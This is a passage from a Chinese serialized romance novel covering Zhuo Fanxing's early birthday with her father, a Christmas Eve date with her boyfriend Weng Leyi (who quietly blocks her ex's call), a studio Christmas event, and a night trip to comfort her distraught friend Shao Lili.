程霞说:“我去买点菜。”她回屋里拿围巾帽子。王妈说:“不用急,小菜都有,你买点灿灿爱吃的肉啊鱼啊。” 卓强载着她去了菜场,老头乐在石板路上一晃一晃的,在淅淅沥沥的冷雨中渐行渐远。 卓繁星折返回去,莹莹拉着她坐过去,她下头有个暖脚器。“灿灿姐,你把脚搁上来,这下雨天冻死个人了。”又把菠萝蜜和桂圆推到她跟前,还有一袋炒货。 两个人跟过冬的仓鼠一样坐在一起。 “灿灿姐,你是不是谈对象了?”她看了一眼旁边摘菜的王妈,跟她耳语。 “嗯?” “我都瞧见了。你朋友圈。” “卓叔知道不?应该不知道吧。他们前两天还在说哪里有个小伙子想介绍给你。不过我听了一下觉得不好,学历太低,你肯定看不上。你要是谈了,就和他们讲,省的他们操心。” “那个王妈的外甥还没谈呢,上次说给他介绍了一个,结果没成。” 卓繁星塞了一耳朵八卦,手机里翁乐仪的信息发过来,问她几点回来。 【吃了中饭就回。】 【晚上在外面吃吧,我来接你。】 卓繁星愣了一下,总不是到这儿来接吧。【下雨天别跑了,家里吃吧,我去买点菜,还是吃上次的火锅好不好?】 莹莹狐疑地看她。卓繁星一下把手机合上。 “啊,男朋友。”她古灵精怪地朝她眨眼睛。 一个小时之后,卓强他们回来。卓强手里拿着一只蛋糕,说:“来都来了,就提前给你过生日。” 莹莹高兴。“呀,今天沾灿灿姐的光有免费的蛋糕吃了。” 程霞把菜搁下,忙着去给卓强擦衣服上的雨水,一边指挥道:“你拎着干啥?放桌上呀。”卓强笑着说对,身子转了一半,桌子在另一边。 王妈见了笑。“这是高兴坏了。女儿来了是不一样啊。灿灿,你往后得多来来。这爸爸跟女儿感情就是不一样。我家里那个小子,他爸不抽他就算好了。我闺女他就是当眼珠子一样,从小捧在手心里的。” 莹莹说:“我以后也要生女儿。” “你?”王妈笑她。“你先找到人吧。” “找人不是分分钟,只是我们现在要求高呀。” 王妈驳她:“你以为是什么好事呀。眼光高找不好的。你们小姑娘就是看脸,其实脸是最不重要的。都是看电视剧看坏了。” 莹莹不服气。“你自己不天天看霸道总裁,上次让我帮忙充钱,那个短剧放出来,我可是看到的噢。” 王妈难得不好意思了,说:“我孙子都有了,看看怎么了。” “你们也喜欢长得好看的呀。” 王妈瞪她一眼,对卓繁星说:“灿灿,你不要跟她学。男人踏实最重要,还有人心要好。前两天,那个” 程霞一下拉住她。“今天一下忙起来,这几个菜等下还要你帮我切一下。” 她们走了,莹莹凑到她边上说:“你和她外甥成不了,她不知道怎么对你上心起来。你要是对象谈好了,就和卓叔讲,省的她费这个心思。我看程姨也头痛,她老拉着她讲。” 卓繁星想估摸觉得她被嫌弃了,有些对不住她。 吃饭的时候,吴老爷也上了桌。莹莹坐在卓繁星边上,催她点蜡烛,桌上都是年纪大的,不兴这个,倒是卓强听了说是,是要点。他早就戒了烟,还是问吴老爷借的打火机。蜡烛点完,卓繁星等了一会儿就吹掉了,还有些不好意思。 分蛋糕的时候,卓繁星看见卓强泛红的眼睛。她把蛋糕递给他,他有一种诚惶诚恐地高兴。卓繁星一下就木掉了,心口像是有虫在啃噬,滋味绝对不好。 下午卓强送她出门,卓繁星本来说不要,他喝了酒,怎么开车。可他不肯,程霞也说不要紧,就是个小电瓶车,路上也没什么人。“你难得来一趟,叫你爸送。” “对,对。”卓繁星看着卓强脸上的笑,到底没有拒绝。 外头雨还在下,吴家门口灯笼的红穗子都打湿粘在了一起。 卓繁星坐在他的老头乐上,摇晃着往外去。白色的冷雾弥漫在周围,他憋了半天,见她发现他在看她了,干巴巴地说:“这天太冷了。” 卓繁星嗯了一声,想了想说:“你血压每天都要量,要是一直很高,我带你去医院看一下。” “没事,天冷了就这样。” 卓繁星说:“自己注意。” “知道,知道。你也是,别太累。” 卓繁星看着外面空濛的天,想到邵丽丽讲的话。 “你爸可以了。他要是真养不活你,你跟着他,说不定就跟我一样,怎么可能有这么高的学历。早早出来打工,还有那种早嫁人的,我回去见我村里,我小学同学,她那时候二十出头,跟四十几岁一样。手上牵一个,背上背一个,肚子里还揣着一个。想想就吓人。” “所以啊,你别钻牛角尖,往好了想。都不容易。” 卓繁星缓缓叹出一口气。她知道的,那时候他为了个给奶奶治病,欠了不少钱,找了门路要去开长途,不方便带她。后来的毛病也是这样得的。 只是她记得他们说好的。 他那天还带她去看车,货车特别高,她只能巴着下面的踏板,急的很,叫他赶紧把她抱上去。 “灿灿,我们以后就住车里。这以后就是我们的家了。我给你后面弄上帘子,铺上被子。你白天啊,就跟爸爸在前面开车。咱们跑遍整个中国。好不好?” “我还要带上旺旺。” “旺旺不行。它太小了哪儿给它上厕所?车子开到路上不能随便停的我都跟欣欣家说好了,就放他家里,咱们回来了就能看到它。” “那还要带小红和飞飞。”她抽泣着。 “带!肯定带。”他给她刮着鼻涕,叫她擤。“我就给你放后面床上走吧,咱们回去了,回去吃饭了。爸爸给你做猪油炒饭好不好?” 卓繁星抱着他脖子,满是灰尘的土路,车子开过去,扬的人一头灰。她到现在都记得机油混着灰尘的味道,她圈着他的脖子,走在那条路上。 第46章 ◎生日(三)◎ 平安夜那天,翁乐仪说在外面吃饭。 卓繁星没想太多,她刚从附中回来。何安琪同里面的音乐老师认识,他们元旦活动的舞蹈要排节目。这类的帮忙多是免费的,就是结个善缘,以后有资源也好多推荐。 老师拿了个苹果给她,卓繁星愣了一下。老师说:“今天平安夜呀。卓老师不去约会吗?” 翁乐仪说他订了某家酒店的晚餐。 卓繁星后知后觉地问他:“是约会吗?”或许是时常外餐,她都不觉得有什么特地的约会。“平安夜约会?” 翁乐仪看了她一眼。“还有生日。” 卓繁星噢了一声。她对于过生日并不热衷,可他特地记得,她总是高兴的。“是给我惊喜吗?” 翁乐仪笑了下。“有惊喜吗?” 卓繁星用力点头。“所以你生日是什么时候?” “3月。” 她其实知道,她偷偷地笑。 酒店外表的灯带十分漂亮,扎了几只粉色、蓝色的风车,饱和度非常高的颜色,是美国国旗的两种颜色。该酒店的圣诞布置十分出名,每年会变化不同的装饰风格。卓繁星听潘潘讲过,这家的下午茶十分难约。 门童过来开门,卓繁星看了眼自己的摇粒绒外套加灰色卫裤,不是说不能进去,可与周遭用心打扮的女孩子们相比,总是有些潦草。 卓繁星对翁乐仪说:“其实你不如同我讲的好,穿的太随便了。” “就是吃餐饭。”他不觉得怎么样,她这样穿也很好看。 两人牵着手进去,不想碰见了乔诗情。 她打扮的十分精心,一条一字肩白色毛衣下穿鱼尾长裙,露出纤细的脚踝,踩着一双七厘米的黑色绒面高跟鞋。 头发精心打理过,光泽度满分,蓬松有光泽,一看就是经常去美发店打理才有的,弯曲的弧度恰恰好,露出耳朵上的香奈儿耳钉。 “卓繁星。啊,翁总。好巧啊,你们也来吃饭么。”她十分意外,显出些慌乱。 卓繁星问:“你也和男朋友一起来吗?” “啊,对。不过他临时有事,要晚一点才到。这里的位置很紧俏,拍照很出片啦。” 卓繁星与翁乐仪离去,不晓得她松了口气。 很快,一位穿着工作制服的女士来接她,说:“是蒋先生的客人吗?” “是。”乔诗情吸口气,微仰起下巴,挂起矜持的微笑。 “您跟我来,蒋先生已经在等您了。” 乔诗晴跟着他绕到另一侧电梯。这里明显安静许多,光可鉴人的电梯映出人的样子,她不觉得有什么不对。那支舞本来就是安排她跳的。卓繁星自己不愿意见导演,她也不算抢她的。大不了以后发达了,多谢谢她。 她平复下复杂的心情,在出电梯前整理了一下头发。 包厢门被打开,她的高跟鞋踩在羊毛地毯上,一下没了声音。乔诗情知道最出片的地方是楼下的那颗圣诞树,可这里能俯瞰江景。Y市虽不比沪市,也有其繁华。这样的地段,从来都不属于普通人。人这一生没有多少机会可以错过的,有些人一辈子也等不来一个,她在这一刻更加确信了自己来对了。 里面很安静,岛台内有厨师,有服务生。可他们都只管自己的事。餐具的响动,或是喷枪的声音,炙烤牛肉时发出的滋滋声只会让人觉得更安静。 窗边站着一个男人,她想这就是所谓的蒋先生。她先前以为是导演要见她,可后来发过来的地址显示在这家酒店。她虽觉得奇怪,但还是赴约了。 这个男人可比她想的好多了。她算不算是赌对了。男人穿了一件黑色短款西装,下身牛仔裤,十分简单,可即便如此,修理干净的鬓角,挺拔的身材,还有一张英俊的脸。 蒋凌洲显然看见了她,在窗玻璃里皱了皱眉。 “你没有我办不成事儿是吗?”他冷冷地开口。 电话那头的人气急败坏。“我希望你明白是谁突然离开的。”他缓转了语气,试图劝道:“这笔交易对我们很重要。他去了夏威夷,你现在飞去还来得及。我实在想不通还有什么事比这件事还要重要。想想他的身份,是谁一开始信誓旦旦张口的。” 蒋凌洲不耐烦地揉了下眉心。“或许你可以安排几个新鲜货给他。” “你以为他为什么会乖乖地去夏威夷!”那头咆哮道:“我说了你会在夏威夷等他!” 蒋凌洲仿佛听见了锤桌子的声音。“淡定点,Alex.是你说如果念念不忘一样东西,就要想办法得到,得到了就不会觉得可惜了。” 那头咬牙切齿。“Areuf*kkiddingme所以你是为了你某样念念不忘的东西飞回了国。好,好,这可真是个价值上亿美金的F*k” 电话被掐断,蒋凌洲转过来,乔诗晴不自觉又理了下头发。 “您哪位?”他将手机扔到桌上,插腰问她。 “我”乔诗情感觉舌头都在打结。“是玉成传媒联系的我,我是安琪工作室的老师,我以为是来试镜。” 蒋凌洲狐疑的眼神让她愈发慌乱。“或许是带我来的小姐姐带错了,我去找她,不好意思。” 她转身要走。“不用了,她没带错。那舞是你跳的?” “是,是呀。”乔诗晴把裙子揪的死紧,才没让自己露怯。 蒋凌洲不知道是什么心情,不是单纯的失望、气愤,更多的是一种荒诞感,讽刺意味十足。 幸好Alex不会知道,除了他自己,其他人应该都不会知道。 乔诗情看着他快步离开,懵了一瞬。不用说她,屋里的其他人也不大明白,以至于陷入了集体的沉默。他们终于不在专注于自己手上的事,而是好奇地望过来。 所以他到底相信了没?还是识破了她的谎言。 乔诗情感觉后背出汗。如果她没记错,卓繁星也在这家酒店。她不至于如此倒霉吧,她这样想。 她陷入一种慌乱的情绪中,这其中因为心虚,又加重了症状。 她按下电梯,试图寻找他的踪迹,或许可以解释一下,总之不该这么不上不下。 而蒋凌洲意外地碰见了翁乐仪。对方惊讶地挑了挑眉:“回国了?什么时候来的Y城?” 乔诗晴一个疾步冲上去,在看见翁乐仪时猛地刹住车。 翁乐仪的目光落在她身上,又看回蒋凌洲。 “你约了人吃饭?”蒋凌洲的表情尚算自然,却称不上愉悦。 “我有事先走了。”他抬步离开。乔诗晴一时不知该不该追过去,她小小地笑了一下。“翁总你们在这里用餐啊。这里拍照角度最好了。繁星呢?你们慢慢吃,我先走了。” 她全程自说自话,没有注意到翁乐仪在她念繁星名字的时候蹙了下眉。 回到家中,卓繁星才见到翁乐仪的礼物,他将一款圣诞树搬回了家。那是由众多玩偶组成的圣诞树,主体的树外铺着各式各样的Jellyca的娃娃。卓繁星一下就跳起来。扑过去,将一只邦尼兔抱在怀里,可比在酒店吃饭的时候兴奋多了。 “太夸张了啦。”卓繁星的眼睛还是诚实地亮了起来。 她想起那条还没送出去的项链,抱着兔子爬起来,拖过自己的那只牛角包。幸好她一直放在里面。其实要送礼物也不是那么容易的事,总是想不要太过突兀,又不甘心太过随意。毕竟这可是她第一次送翁乐仪礼物,还是一条项链。 “你要和我求婚吗?”翁乐仪看见她拿出一只咖啡色的绒布盒子,虽然知道大概率不是,但这样的场景真的很像。 卓繁星哼了一声。“你闭眼睛,我要给你带戒指啦。” “什么鬼。”虽是这样讲,但在她的眼神威逼下他还是老老实实闭眼,并有些遗憾地想:方才进门的时候是不是也应该这样做。他好像太随意了点。 卓繁星把项链带在他脖子上,他几乎瞬间就睁开眼,将她抱在怀里。“什么东西?项链?” “还没带好。”卓繁星叫他不要动。 链条是胶丝链,十分低调,她就说她眼光还是不错的。当然模特也特别好。 翁乐仪摸着星星坠子轻轻笑了下。 卓繁星说:“笑什么?我眼光好吧。” “为什么要送项链?还有这个什么意思?”他晃了晃那颗小星星。 卓繁星把兔子挡在他脸上,明知故问的人实在是太讨厌了。 “我要洗澡去了。”她一蹦一跳地去了房间。 浴室里传来轻柔的音乐声,翁乐仪有些意动,搁下杯子想或许他们可以一起泡个澡。 这时,卓繁星放在沙发上的手机响了,是一串陌生号码,来自京市。他拿起那只手机,往浴室去,“卓繁星。”他叫了一声,里面的人没听见。 在某个瞬间,或许是他的手触碰到门把手的时候,脑海中突然一道闪电劈过,又好像里面丰富的神经元突然触电了一样。 “翁乐仪?”卓繁星好像察觉到他在外面。 “没什么。”他转身离开。 电话已经结束了。翁乐仪把自己的手机拿出来,找到蒋凌洲的号码。 卓繁星的手机又开始震动起来。 电话接通,那边的人没有说话。 翁乐仪摸着项链上的星星,说:“你好,哪位?” “卓繁星。卓繁星在吗?” “她在洗澡。” 电话被挂断。翁乐仪说不清自己在想什么,可是冷静的思考,理智让他明白下一步该怎么做。他把通话记录删除,将号码拉黑。 卓繁星穿着浴袍出来,他在岛台上喝酒。 翁乐仪说:“这个项链洗澡要摘吗?” 卓繁星说:“Luna说是18k金的,或许要吧,我查查。我手机呢?” 翁乐仪说我去洗澡,在门口就脱掉了上衣。 卓繁星顾不得找手机了,她不是没见过他光着,可今天不一样,他脖子上带着一根项链,不知怎的,莫名的性感。 而且喝酒后的翁乐仪总是有些不一样的。卓繁星挤进去,借口没有吹头发。 浴室里的水汽还没散,翁乐仪搁下烟,叫她过去。 “我可以自己吹。”卓繁星欲盖弥彰地讲,视线落在搁在水池旁的烟盒和打火机上。 Σ(゜ロ゜;)!!! 裸男、项链、香烟。 她瞬间睁大眼。 好吧,虽然她不喜欢闻烟味,但一个帅哥总是能得到一些优待的,更别讲他还集齐了很多要素,令她想到电影里那些经典桥段。 “你想抽烟吗?”卓繁星看着镜子里的人问。 翁乐仪拨着她的头发,眉毛有些不同平日地聚拢。 唔,他喉咙里发出一声。“等你出去。” 这该死的绅士风度。卓繁星头一次不那么喜欢。他们两个看样子真的没有心灵相通。 “偶尔一次也没关系。”她眨巴着眼睛,真诚地望着他。 翁乐仪疑惑地扬了扬眉,确认了一遍。卓繁星已经去拿那只烟和打火机。 卓繁星这样殷勤着实是他没有想到的,不过翁乐仪乐见如此。他歪头吐出一口烟,奇怪地看了一眼她。或者说她眼里的跃跃欲试,含着某些兴奋的光。 “要试试吗?” 卓繁星乖巧摇头。 “嗯。”翁乐仪叼着烟,继续给她吹头发。 好了,现下电影里的某些情节真的出现了。卓繁星恨不得手里就有一台摄影机。 他低垂的眼睫遮掩着很多情绪,做事很认真,好像只管着手头上的事,他总是说她不把头发吹干,所以脸上毫无表情。 碎发落在额头上,因为低头,几根长的甚至落到鼻梁上。他唇瓣抿着,显出几分不好接近的模样,然后会在十几秒后,歪头把烟拿下来,缓缓抽上那么一口。 宽阔的胸膛,偏白的肌肤,让卓繁星想到那些人体雕塑。她不喜欢这些,或者说对这些不感冒,在这一点上完全不像姚馨雅。可是在这一刻,她好像明白了什么叫人体的美。 视线相接,又分开。 卓繁星看见他把那只香烟暗灭,她垂着的脚摇晃了两下,一下站起来去找拖鞋。 “好啦,你洗澡吧。” 还没跑出去,手臂已经被抓住了。 手指的热度一点一点地传递过来。卓繁星在那个潮湿,充满水汽,温暖的空间里呢喃道:“太犯规了。” 当他们回到床上的时候,已经是新的一天了。 翁乐仪本来套了一条恤,被卓繁星要求脱掉。 啊,他一进来,她就贴上去,手指拨动着那颗星星。翁乐仪抱着她的腰肢,脸埋在她脖子里。 有些累了,卓繁星困顿地点脑袋。 “你喜欢我吗?卓繁星。”他突然开口,声音喑哑,有些含糊。 “嗯?” “喜欢我吗?”翁乐仪将头抬起,看着她。 卓繁星眨了下眼睛,试图把瞌睡赶跑,以及确认问这个蠢问题的人真的是翁乐仪,她都这么主动了。她分明喜欢死他了。 “干嘛问这个?”她咕哝道,为他的迟钝生气。而且她分明说过好几次喜欢了,他却没有正儿八经地说过一次。真的,他没说过。 “那你喜欢我吗?” “我先问的。” 切,卓繁星小小地翻了个白眼,闭眼睡觉。 “喂。” “你好烦。”卓繁星坐起来一点,捂住他的嘴,眼睛里面传达的意思很明确:你先回答我。不然免谈。 他们僵持着,卓繁星更生气了。她闭上眼,把伸到她裙子里的手拿开。 “loveU.”耳朵里翁乐仪在讲。 卓繁星人已经迷瞪了,辨认了好一会儿。 嗯??!! 翁乐仪不满意她的表现。“你呢?” 卓繁星一下扑到他怀里。“米兔!” “米兔?”他彻底失笑。 卓繁星抱住他。“谁让你说英文的。” 第47章 ◎生日(四)◎ 次日,卓繁星去了工作室,被告知昨天有人来找过她。 “是个大帅哥。”小余八卦地感慨道。 潘潘不信。“有多帅?能比得上她男朋友,她男朋友可帅了。” 小余强调:“真的特别帅,美琪也见了,是不是?他个子好高,我估计都快一米九了,有点日系帅哥的调调,穿着西装牛仔裤,脖子上套了一条围巾。我一见他进来,像个模特。哎呀,总之就是很帅啦。颜还是气质都是极品。” 潘潘看向卓繁星。“谁啊?这么帅你不可能不认识吧。” “我真不知道。”卓繁星无辜摇头。“他有说他名字吗?” kao,潘潘一脸无语,读出一些凡尔赛的味道。小余摇头。“我说你今天休息,他就走了。” 代课老师美琪加入进来:“那估计是卓老师的暗恋对象。” 潘潘噗滋一声吐血道:“真是旱的旱死,涝的涝死。” 卓繁星把靠在她身上的人推开。“好了,去忙了。等会家长们就来了。” 潘潘摊手。“情场失意,还能怎么办,只有搞钱了呀。” 小余默默插刀:“分明是给资本家打工。” 资本家何安琪叉着腰跑出来。“赶紧赶紧,盒饭到了,中午先随便吃点,晚上我请你们吃大餐。” 工作室布置的非常用心,进门的地方有圣诞主题的背景板,还安排店里的员工扮成圣诞老人,家长可以带着孩子合影留念。每个孩子都会有一份课堂记录相册,还有一只玩偶。 下午的活动很赶,基本没有喘气的时候。 表演结束,齐帆抽了个空档走过来。 “卓老师。”他说:“上次的事还要多谢谢你。” 卓繁星说:“没帮什么忙,是我们应该的。” “总归给你们添了不少麻烦不知道你和翁总是男女朋友,上次也麻烦他了。” 卓繁星稍愣一下,也有些尴尬,只能说没事的。 她看了眼周遭,正要说去哪边看一下,齐帆说:“我明年工作调动,所以嘉嘉应该不能再来上课了。” 卓繁星诧异地挑了下眉,迟疑道:“是嘉嘉有受影响吗?” 孩子们现在都围着圣诞老人,期待他袋子里拿出来的糖,嘉嘉也在里面,踮着脚举着手。 “应该还好吧。”齐帆露出一丝苦笑。“我也不是特别懂孩子,她有时候说话好像很懂了,但其实还是孩子。这件事是我太粗心了。” 他尴尬地笑了下,卓繁星安慰道:“其实您已经做的很好了。嘉嘉心里你就是她最亲的人,她特别依赖你,想要更多的关注和陪伴。” “我知道。所以这次也是下定决心。之前总想着要给她更好的生活,所以工作的时间比和她在一起的时间还多。” “我想嘉嘉肯定特别开心。”卓繁星真诚地讲。 “这倒不一定,她舍不得这边的小朋友,还舍不得幼儿园的老师,还有你和潘潘老师。”他看着那边穿着绿色玩偶服,像个小精灵一样的孩子。她拿到拐杖糖了,看见他们,兴奋地跑过来。 “卓老师。”孩子的声音像一块儿黏糊糊的糖,卓繁星摸着她的脑袋。“今天开心吗?” “嗯嗯。”她认真点头。 “你跳的特别好,我还以为你很多动作会忘记呢,结果一点都没有。” 嘉嘉想笑又不想叫人发现的样子特别有意思,扭捏地转了下眼睛,说:“我是这样的,卓老师,我在家里也跳的。不然我要忘记的。爸爸你说是不是?” “是,你在家里都有认真练习。”齐帆无奈笑道。 “拍下来没?” “拍了。” “要发给李奶奶看。我看看你拍的。”她急着要去看他手机。 “爸爸拍的很好,你放心。”齐帆揽住她。“爸爸在和卓老师说你明年要转学的事。” 卓繁星问:“明年见不到嘉嘉了是吗?” 嘉嘉唔了一声,有些委屈和不好意思,挠着自己的脸,以为她伤心了,赶紧想安慰她。“我也不想走,可是爸爸说他不在这边工作了。” “老师知道。”卓繁星摸着她的脸。“没关系呀。老师今天拍了好多你的照片。以后想你了,就看一看照片。” “我也会想卓老师的。” 齐帆说:“要不要你们拍个照,我给你们拍。” 卓繁星牵着嘉嘉,孩子柔软的小手让她一时怔忪,好像看到小时候的自己。 小姑娘快乐的声音像是在一蹦一跳地讲话。“我要带小红和飞飞,和爸爸一起去住大车子啦。” “爸爸,拍好了吗?” 卓繁星笑的更真切,弯成月牙的眼睛里像盛了星河,齐帆愣了下,他还是头一次见卓老师笑的这么明媚,真的很漂亮啊。 晚上,翁乐仪去了Luna的餐厅。圣诞加周末,餐厅的生意特别好,里里外外基本都坐满了,Luna又在天井处添了几张桌椅,方便人喝酒烧烤。 洪旺带了个新的姑娘来,小姑娘喜欢拍照,可是怎么拍都不太满意。洪旺把手机还她,同翁乐仪说话,她有点生气,看一眼翁乐仪,不方便发作,冷着脸下楼去了。 “你女朋友呢?”洪旺问道。 翁乐仪说:“她今天晚上同事聚餐。” “今天同事聚餐?”洪旺失笑。“看样子同事比你重要。” 翁乐仪没理睬他,看了眼楼下的舞台——Luna临时清空了一块场地,做乐队表演。欢快的爵士乐流淌在空间中,Luna穿梭其中,机车皮衣外套内搭一条亮片短裙,骑士靴。见到熟人,她会特地去打招呼,有时兼职送菜送酒,十分忙碌,像只穿梭在人群中的蝴蝶。 “凌州昨天在Y城。” “谁?”他突兀开口,洪旺意外道。“Arhur?他什么时候来的?现在还在吗?让他过来。” “我不知道,你问问。” 洪旺电话拨出去。“你回国了?去夏威夷了?没什么对,我们在一起。”说这话时轻飘飘看了一眼翁乐仪。“本来说一起出来喝酒嗯,只能这样了,回头再约。” “他去夏威夷了。”洪旺搁下手机。 翁乐仪挑了下眉,说:“真是不巧。” “谁说不是呢。”洪旺笑了一下,耸耸肩,同他碰杯。 蒋濯衣打来电话,翁乐仪去了安静的地方接听。 步道上人流不停,结伴的男女格外多。他夹着手机,点燃烟,含糊地应道:“在外面对,和朋友一道。” “难道不是和女友一起吗?”蒋濯衣心情很好的调侃道。 翁乐仪觉得今晚自己好像在别人眼里特别可怜,这是第三次了,他刚到餐厅时,Luna就询问过他,当然还夸了他的项链,也是她设计的作品。翁乐仪有一种无法言说的郁闷,即便很淡,就同他现在吐出的烟雾一样。 他吸了一口冰冷的空气,望着暗沉的天色说:“妈还没回去吗?” “嗯?你想让我回去吗?” “不是,只是你一般不会留这么久。”尤其是冬天,他默默补充道。他记得她说过尤其不喜欢京市的冬天。 蒋濯衣回道:“或许要呆到过年。所以,过年的时候你会把姑娘带来吗?” 翁乐仪不意外她会知道。“我得问问她。或许吧,如果她愿意。” “其实我建议去温暖一点的地方。你知道的,我一直觉得不一定要留在京市过年。” 翁乐仪轻笑了下说:“这我没办法,你难得回来过年,姥爷他们肯定觉得要在家里才算团圆。” 那头叹了一声。“真是麻烦。” 翁乐仪挂断电话,给卓繁星发去消息,询问她几点结束。那边没有回过来,他倚着墙,一只手插在口袋中缓缓抽着烟。 烟雾后的眼睛有些冷淡的倦意,他很少玩花样,这时候或许无聊,嘴巴吐出一口烟,再吹出一个烟圈。圈随着吹气空心越来越大,翁乐仪仰着头,大片白的烟雾,弥散在夜里,同他脸上的笑一样。 听见响动,他转过头,一个带着红色毛线帽的姑娘探着脑袋。“不好意思。”她朝他道歉,受惊一样跑走了。 回到餐厅,Luna在玩塔罗牌。或许是心血来潮,这玩意儿在这时候很应景。她周围围满了人,Luna脑袋上顶着一只鹿角发箍,桌子上亮着一只复古灯,开坛做法一样。 “小翁要抽一张吗?”Luna举着酒杯,有些蛊惑地朝他眨眨眼。 “是你新交的男朋友?”有人立即问。 Luna伸出一根手指摇晃。“NO,NO,NO,是朋友妻。”不顾众人啊偶的怪叫,她急着把翁乐仪的牌拿过来。“好啦好啦,让我先看看他抽了什么。” “嚯,宝剑骑士逆位。正位代表迅捷、果断、挑战,逆位嘛” Luna顿了顿,两手交叠托着下巴,猫眼扑闪扑闪地望他,下结论道:“逆位代表冲动、轻率、失控的竞争,还有被危机感驱使的,唔,不太光彩的行动。所以”她手指点着那张牌,问道:“你最近是不是有什么竞争对手出现了?” 翁乐仪的瞳孔飞速地缩了一下。上面突兀地传来一声笑声,洪旺支着栏杆,噱道:“又开始了,神婆。” Luna飞过去一个眼刀。“滚啊。” “她算的准吗?”洪旺问。 翁乐仪看了他一眼,退出人潮,差点撞到人,正是方才巷子里的姑娘。女生含羞带怯,仍是鼓起勇气问道:“你好,可以加个微信吗?” 洪旺已经走下来,调侃道:“嘿,所以到底是谁有对手出现。” 第48章 ◎新年(一)◎ 卓繁星在聚会上接到了邵丽丽的电话,她昨天就出发去了临市,去看她妹妹。 “繁星,你能来接我吗?”她在电话那头哭的很惨,卓繁星吓了一跳。就是她差点没命,病房里被人指指点点的时候也没有这样过。 “你怎么了?出什么事了?” 潘潘听见了,拽着她问怎么了,卓繁星顾不上解释。“我朋友找我有点事,你们吃,我得先走了。”何安琪说:“要不要送你?” 卓繁星说:“没事,我出去打车,你们好好玩。” 她走出火锅店。“你在哪儿?”今天的日子,商家都挂着圣诞布置,红绿配色分外喜庆,就是个很热闹的日子。 “出什么事儿了?”她将声音放柔。“是你妹妹那边有什么事吗?” 邵丽丽啜泣的声音让卓繁星想到掉下来的雨点。 “繁星,我难受。”她哽咽道:“我对她那么好,比我自己还好。我一直希望她不要像我一样,活的不三不四的。我读书读不出来,没有什么前程,我希望她不要像我这样。我希望她好好念书,毕业之后找个体面工作。我一直这样想。” “她是我带大的,我把心都掏出来给她了。” 卓繁星的耳膜被她的哭声震动,像是隔着一块吸了水的海绵,又好像是有人对着话筒拍了一下又拍一下,沉闷的声音,隆隆的,足够叫人震动,窒涩。“你现在在哪里?你定位发我,我过来接你。” 邵丽丽哭着道歉。“繁星,对不起。我就是感觉我一个人回不去了,我走不动了。” 卓繁星给翁乐仪打电话就是要告诉他一声,毕竟临市开车过去要近两个小时。 她没想到洪旺也会跟来。 翁乐仪解释道:“他刚好在旁边。” 洪旺问:“她人怎么了?”他眉心皱着。卓繁星在电话里说的很简单,她去看妹妹,遇到点事,可什么事能让她打电话让人来接。 卓繁星说:“我具体也不清楚。” “半夜里折腾点事出来。”洪旺嗤了一句,下车给她腾位置,自己坐到副驾驶上去。 这一路卓繁星不时打个电话给邵丽丽,她后来不哭了,就是人清醒过来有点木,开始后悔,问她出发了没,没的话就别来了,她找个酒店住一晚明天再回来。听她说都上高速了,又和她道歉。“你一个人吗?” 卓繁星看了眼前座的洪旺,说:“还有翁乐仪和洪旺。” 那边啊了一声,“对不起呀,麻烦你们了。” 洪旺啧了一声。 卓繁星挂了电话,打字过去:【他刚好和翁乐仪在一起。我们马上就到了,抱抱。】 【我脑子抽了。】邵丽丽发了个趴地埋头的表情包。 卓繁星:【所以现在好点了吗?】 对方正在输入中好久:【没事了,我就是当时一下有点难受,你知道的。麻烦你过来,你沾上我真的好倒霉的。】 卓繁星发了个敲头过去。【我已经过来了。乖乖等我们。】 卓繁星在麦当劳找到她,附近是学校的小吃街和酒吧一条街。邵丽丽坐在玻璃门的位置,低头插着口袋,头发披散下来遮住脸。 “你们先别下去,我一个人过去。”卓繁星在车子停稳后这样讲。 代驾离开了。车里就剩翁乐仪和洪旺两个人。 远处,邵丽丽把头靠在卓繁星肩膀上,身子一抽一抽的。 “什么事能哭成这样?”洪旺蹙眉讲。 “不知道。”翁乐仪沉默了一会儿,说:“你很关心她?” “毕竟之前有关系,她哭成这样,是人都担心。”洪旺点了根烟。“她挺疼她妹妹的,我听过几次。” 翁乐仪还在继续上一个话题,他想把话说通透点。“你甩了人家,现在又过来。” 洪旺靠了一声,掸了掸胸前的烟灰。“我甩她和担心不冲突。” “我说她未必想见你。”他听过原因,洪旺甚至不需要说分手,他一贯如此。 洪旺转头看了他一眼。“行,我犯贱,我不该来。”他看向外面抱在一起的两个女孩子,邵丽丽圈着卓繁星的脖子,哭的头发丝都在颤抖。他停顿了片刻,一下把香烟拿下来。“我不能甩她?她干的那些破事。我还要忍着了?” “你自己未必有多认真?”翁乐仪觉得他实在不必如此气恼。 “那是台面下的事。” “我以为你们稀罕这些救风尘的戏码。” 洪旺愣了下,为某人少见的刻薄,脸色瞬间难看。“你又比我好到哪里去。你那个宝贝女友和蒋凌州也谈过吧,你玩的不比我花。” 翁乐仪的视线一下转向他。 洪旺慢吞吞地靠回去,缓缓道:“钱琦正早就和我说了,我只是懒得搭理。那姑娘厉害着呢,你现在被她迷的五迷三道的。” “他们早就分手了。” 洪旺嗤了一声。“那你这么紧张干什么。”他夹烟的手搭在窗外,目光落在玻璃窗里的两个人身上。“你今天叫我打那通电话。” 接触到他幽冷的目光,他到底没将话说完,吸了口烟,玩世不恭道:“我是说,咱们都一样。你现在看着认真,结果呢。” “结果我m告诉你,我和你不一样!她也不是你前女友。你不会说话可以把嘴闭上。”翁乐仪推门下车,风吹在他怒火上,冷空气吸进去一路贯到肺里,心冷,脑袋发沉,像被人闷闷打了一拳,还是被偷袭的那种。 翁乐仪就好像走在一条黑漆漆的巷子里,被不知道哪里来的人套了麻袋,招招式式打上来,伤不到要害,可是憋屈。 他后来有些想明白了这感觉从哪里来。 他为什么不能大大方方地和蒋凌州说他和卓繁星在谈恋爱。为什么要接电话,为什么不捅破,为什么要拉黑他。这让他显得无比心虚,好像他做了一件很不该做的事,其实根本毫无必要。 那头,邵丽丽已经将事情起因说清楚。她一早就怀疑妹妹邵一一谈恋爱了,只是没想到是这么不靠谱的人。她从来不是阻止她恋爱,只是怕她吃亏。 “我来看她,她叫我今天回去。我觉得不对,就跟过来。那男的一看就不是个好东西。她说是对象,可那个男的一看就是玩玩她的。家里有点臭钱,长的还行,就是家里有点钱的二世祖。” “就这种人,说话随便,一副色胚样子。不知道外面谈了多少个,和别人yp。我说他不是什么好东西,结果她竟然说我勾引她男朋友,说我发春发到她这边来了。” “繁星,她怎么能这么说我。” 她想到从小带大的妹妹嘴巴里吐出那样的话,那两个字眼像是两颗钉子,经由她钉到她心里去。 